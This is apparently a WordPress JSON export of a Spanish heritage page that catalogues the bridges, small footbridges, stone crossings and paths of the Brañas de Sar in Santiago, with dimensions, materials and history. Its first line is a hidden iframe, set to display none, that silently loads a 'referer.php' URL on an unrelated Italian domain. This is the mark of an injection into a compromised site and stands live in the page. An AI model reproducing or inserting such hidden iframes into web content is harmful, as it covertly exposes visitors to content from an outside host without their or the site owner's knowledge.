<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":9051,"date":"2017-01-21T21:57:19","date_gmt":"2017-01-21T20:57:19","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=9051\/"},"modified":"2017-02-22T14:00:00","modified_gmt":"2017-02-22T13:00:00","slug":"construcciones-para-el-transito","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/construcciones-para-el-transito\/","title":{"rendered":"Construcciones para el tr\u00e1nsito"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-d3ad6fba96d1c7161b9b6b21a1877d00\">\n.avia-section.av-av_section-d3ad6fba96d1c7161b9b6b21a1877d00{\nbackground-color:#015791;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-d3ad6fba96d1c7161b9b6b21a1877d00 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_full  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-9051'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-0979bfdf605b9a367055adfe56e9b2f2\">\n#top .av-special-heading.av-av_heading-0979bfdf605b9a367055adfe56e9b2f2{\npadding-bottom:10px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-0979bfdf605b9a367055adfe56e9b2f2 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-0979bfdf605b9a367055adfe56e9b2f2 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-0979bfdf605b9a367055adfe56e9b2f2 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class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-2  el_after_av_section  el_before_av_one_full  avia-builder-el-first  first flex_column_div av-zero-column-padding '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-9ea3e1a097f4051de444d0f653c9fd14\">\n.avia-image-container.av-av_image-9ea3e1a097f4051de444d0f653c9fd14 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-9ea3e1a097f4051de444d0f653c9fd14 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src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontedesar-2-800x321.jpg\" alt='Puente de Sar' title='Puente de Sar'  height=\"321\" width=\"800\"  itemprop=\"thumbnailUrl\"  \/><\/div><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-4  el_after_av_one_full  el_before_av_two_third  first flex_column_div av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">Las siguientes entidades sirven para facilitar el tr\u00e1nsito por la zona de Bra\u00f1as. Estamos hablando de los caminos, pasos, pontellas y puentes que permitieron la comunicaci\u00f3n en esta parte de Santiago.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Puente de las Bra\u00f1as de Sar<\/strong>. Tambi\u00e9n conocida como puente de la Mourulla. Sus dimensiones son 9,42 metros de largo por 2,75 metros de ancho y una altura de 1,48 metros. Antiguamente la plataforma ten\u00eda un ancho de 1,20 metros que s\u00f3lo permit\u00eda el paso de personas y animales. Los carros para cruzar el Sar se hac\u00eda por un vado natural o puerto pegado al lado norte del puente. Esta construcci\u00f3n atraviesa el r\u00edo en la zona denominada Cami\u00f1o da Puente o da Mourulla. Est\u00e1 construida con piedras de canter\u00eda \u00a0y mamposter\u00eda de granito y anfibolitas. Tiene cuatro pilares de base rectangular asentados sobre mamposter\u00eda\u00a0de anfibolitas para nivelar el lecho del r\u00edo, donde se asienta la base de lajas con planta rectangular. Sobre ellas se asientan piedras a escuadra de granito que por la forma que presentan\u00a0 aguas arriba, parece que antiguamente hab\u00edan tenido tajamares. Sobre estas bases flota la plataforma formada por las lajas superiores por las que transitaban personas y animales. Hace 40 a\u00f1os se ampliaron la superficie del puente y sus bases. Como curiosidad, en el pilar situado m\u00e1s al este y aguas abajo se observa una piedra de granito con un grabado compuesto por tres c\u00edrculos conc\u00e9ntricos. Lo m\u00e1s probable es que sea una piedra reutilizada.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Puente de Sar<\/strong>. Mide 22 metros de largo por 3,50 de ancho y tiene una altura aproximada de 5 metros en el punto m\u00e1s alto. Est\u00e1 realizado enteramente en canter\u00eda de granito. Se trata de un elemento con un importante valor arquitect\u00f3nico e hist\u00f3rico muy relacionado al desarrollo de Santiago. Tambi\u00e9n se une a la calzada de Sar como v\u00eda de acceso desde las tierras del Ulla, Ourense y Castilla. Tambi\u00e9n permite acceder al camino de peregrinaci\u00f3n que subiendo por Sar y Castr\u00f3ndouro hasta el Arco de Mazarelos, daba acceso a la ciudad. El puente presenta tres arcos de medio punto, el del centro con mayor altura y calzada en \u00e1ngulo. Tiene petoriles a ambos lados de la calzada con agujeros de desag\u00fce en su base. Aguas arriba tiene dos tajamares de secci\u00f3n triangular. En la cara oeste de la estructura y a ambos lados del puente, hay dos escalinatas que permiten bajar al r\u00edo. A unos 50 metros del puente aguas arriba hay un vado o puerto por el que antiguamente pasaban los carros con mercanc\u00edas.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; Puente de Pica\u00f1os<\/strong>. De unos 8 metros de largo, es un puente de madera colocado para salvar el curso del r\u00edo aguas abajo del Puente de Sar. En este lugar exist\u00eda antiguamente una pasarela hoy desaparecida. Esta pasarela se ha reinstalado por el Taller de Empleo Ecotur Xuvenil. Enlaza el nuevo camino de la zona de Pica\u00f1os con el camino de la Fuente de los Capitanes hacia la Colegiata de Sar.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; Puente de la Ce\u00f1a<\/strong>. Con 7 metros de longitud es un puente de madera colocado sobre vigas met\u00e1licas para salvar el curso del r\u00edo. Est\u00e1 situado un poco m\u00e1s abajo de la Ce\u00f1a das Bra\u00f1as de Sar, cerca de Pontepedri\u00f1a. Enlaza con una pasarela de madera que termina en el muro del aliviadero que sale de la mencionada ce\u00f1a. Fue colocado por el Taller de Empleo Ecotur Xuvenil.<\/p>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<p>Todas estas construcciones fueron creadas para facilitar tanto el acceso a la ciudad como a los terrenos de labranza y pastoreo que la rodeaban<\/p>\n<\/blockquote>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">Las pontellas son peque\u00f1os puentes utilizados para salvar cauces de agua. Se constru\u00edan para no desplazarse grandes distancias entre los puentes m\u00e1s grandes.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Pontella I de las Bra\u00f1as de Sar<\/strong>. Ubicada lo mismo que la pontella II e III aguas abajo del puente de Sar, mide 4,45 metros de largo por 1,60 de ancho. Actualmente est\u00e1 ca\u00edda en la cara Este debido a la actividad erosiva del r\u00edo. La parte superior es de hormig\u00f3n apoyada sobre piezas rectangulares de granito que a su vez, se asientan sobre una base de mamposter\u00eda de anfibolitas.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Pontella II de las Bra\u00f1as de Sar<\/strong>. Mide 3,29 de ancho por 7,04 de largo y 0,60 metros de altura. El firme es de hormig\u00f3n y fue construida, seg\u00fan cuentan los vecinos, hace unos treinta a\u00f1os.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Pontella III de las Bra\u00f1as de Sar<\/strong>. Mide 7,04 metros de largo por 3,29 de ancho y con firme de hormig\u00f3n. En la orilla oeste presenta una base de anfibolitas muy bien terminadas. En la cara Este est\u00e1 apoyada sobre tres postes cil\u00edndricos de madera.<\/p>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full first flex_column_div av-zero-column-padding '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-7466760f8b5df124ee5510bc2ca0f5f4\">\n.avia-image-container.av-av_image-7466760f8b5df124ee5510bc2ca0f5f4 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-7466760f8b5df124ee5510bc2ca0f5f4 .av-caption-image-overlay-bg{\nopacity:0.4;\nbackground-color:#000000;\n}\n.avia-image-container.av-av_image-7466760f8b5df124ee5510bc2ca0f5f4 .av-image-caption-overlay-center{\ncolor:#ffffff;\nfont-size:20px;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-7466760f8b5df124ee5510bc2ca0f5f4 av-styling- av-hover-grow avia-align-center noHover av-overlay-on-hover'   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><div class=\"av-image-caption-overlay\"><div class=\"av-caption-image-overlay-bg\"><\/div><div class=\"av-image-caption-overlay-position\"><div class=\"av-image-caption-overlay-center\"><p>Pasarela de los Lavadoiros<\/p>\n<\/div><\/div><\/div><img decoding=\"async\" class='wp-image-9316 avia-img-lazy-loading-not-9316 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontellamuinholavadoiroii-800x321.jpg\" alt='Pasarela del Molino de Lavaderos' title='Pasarela del Molino de Lavaderos'  height=\"321\" width=\"800\"  itemprop=\"thumbnailUrl\"  \/><\/div><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">Los pasales son construcciones que consisten en piezas de piedra sobre cursos de agua como canales u otros m\u00e1s estrechos.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; Pasal I<\/strong>. Se encuentra sobre el canal del molino de Miguel en el \u00faltimo tramo, cuando este desemboca en el r\u00edo Sar. Se haya pr\u00f3xima a la presa de las Bra\u00f1as de Sar cerca de Pontepedri\u00f1a. Mide 1,45 metros de largo por 2,80 de ancho. Est\u00e1 formado por tres lajas, la central de granito y las laterales de anfibolita, asentadas sobre unas piezas alargadas de anfibolita. \u00c9stas se apoyan sobre mamposter\u00eda\u00a0para nivelar el terreno.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Pasal II<\/strong>. Est\u00e1 situado entre los molinos de los Lavaderos y los molinos del Morico y de la Nacha. Cruza el canal que les suministra de agua. Mide 1,40 metros de largo por 0,48 metros de ancho y tiene una altura de 0,15 metros. Est\u00e1 hecho con una plataforma\u00a0de granito apoyada sobre el canal de agua.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; Pasal III<\/strong>. Este nuevo paso situado sobre el canal del molino de Vilar fue instalado por el Taller de Empleo Ecotur Xuvenil. Se quiso recuperar el tr\u00e1nsito por el antiguo camino que un\u00eda la zona de Pica\u00f1os y que conduc\u00eda hacia O Forte.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; Pasal IV<\/strong>. Paso nuevo instalado durante las actuaciones del Taller de Empleo Ecotur Xuvenil para salvar el canal del molino de Miguel. Coincid\u00eda con el trazado del antiguo camino que atravesaba el complejo habitacional donde se encuentra el molino.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; Pasos\u00a0del canal del molino de Morico<\/strong>. La recuperaci\u00f3n del camino que une los molinos de los Lavaderos y el molino de Morico, oblig\u00f3 a la instalaci\u00f3n por parte del Taller de Empleo Ecotur Xuvenil, de un conjunto de unos diez pasos de piedra de esquistos. Con ellos se salvaban los canales de riego que parten del canal hacia los prados situados entre el camino\u00a0y el curso del Sar.<\/p>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<p>Las pontellas y los pasales eran las construcciones m\u00e1s simples para cruzar r\u00edos y canales, mientras que los caminos sol\u00edan tener el firme de tierra<\/p>\n<\/blockquote>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_full-9497bbf8bff73ea4c6992cc17fa9ec36{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_full first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">Los caminos se trazaban seg\u00fan las necesidades de los habitantes de la zona. Normalmente bordeaban las fincas a las que permit\u00edan el acceso. Sol\u00edan tener el firme de tierra.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Camino del Fondo de la Bra\u00f1a<\/strong>. Este camino transcurre por la zona m\u00e1s deprimida de las Bra\u00f1as, de ah\u00ed su top\u00f3nimo. Tiene 900 metros de longitud y comunica la zona de Pica\u00f1os con Pontepedri\u00f1a. Los primeros 220 metros est\u00e1n en parte asfaltados y en parte hormigonados. A continuaci\u00f3n el firme es de tierra. A 250 metros se bifurca hacia el oeste en direcci\u00f3n al molino de Vilar. A unos 110 metros de esta bifurcaci\u00f3n hay otra que lleva al molino de Miguel. A partir de este punto hacia Pontepedri\u00f1a, el camino del Fondo de la Bra\u00f1a aparece adoquinado con lajas de anfibolita sobre una terraza.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Camino de los Capitanes<\/strong>. Camino de 100 metros que atraviesa las bra\u00f1as y va desde la fuente de los Capitanes hasta la pontella III.<\/p>\n<p style=\"text-align: justify;\"><strong>\u2013 Camino del molino del Morico<\/strong>. Mide 30 metros de largo y 2,25 metros de ancho. Va desde el molino de la Nacha hasta el molino del Morico. Est\u00e1 adoquinado con anfibolitas muy redondeadas a causa de la erosi\u00f3n y muy alteradas por el del uso de maquinaria.<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full first flex_column_div av-zero-column-padding '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-e522a6b31dcc2e4c01886f4bdb18daa1\">\n.avia-image-container.av-av_image-e522a6b31dcc2e4c01886f4bdb18daa1 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-e522a6b31dcc2e4c01886f4bdb18daa1 .av-caption-image-overlay-bg{\nopacity:0.4;\nbackground-color:#000000;\n}\n.avia-image-container.av-av_image-e522a6b31dcc2e4c01886f4bdb18daa1 .av-image-caption-overlay-center{\ncolor:#ffffff;\nfont-size:20px;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-e522a6b31dcc2e4c01886f4bdb18daa1 av-styling- av-hover-grow avia-align-center noHover av-overlay-on-hover'   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><div class=\"av-image-caption-overlay\"><div class=\"av-caption-image-overlay-bg\"><\/div><div class=\"av-image-caption-overlay-position\"><div class=\"av-image-caption-overlay-center\"><p>Camino de Lavadoiros<\/p>\n<\/div><\/div><\/div><img decoding=\"async\" class='wp-image-9319 avia-img-lazy-loading-not-9319 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/caminhomuinholavadoiros5-800x321.jpg\" alt='Camino de Molino de Lavaderos' title='Camino de Molino  de Lavaderos'  height=\"321\" width=\"800\"  itemprop=\"thumbnailUrl\"  \/><\/div><\/div><\/div><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - 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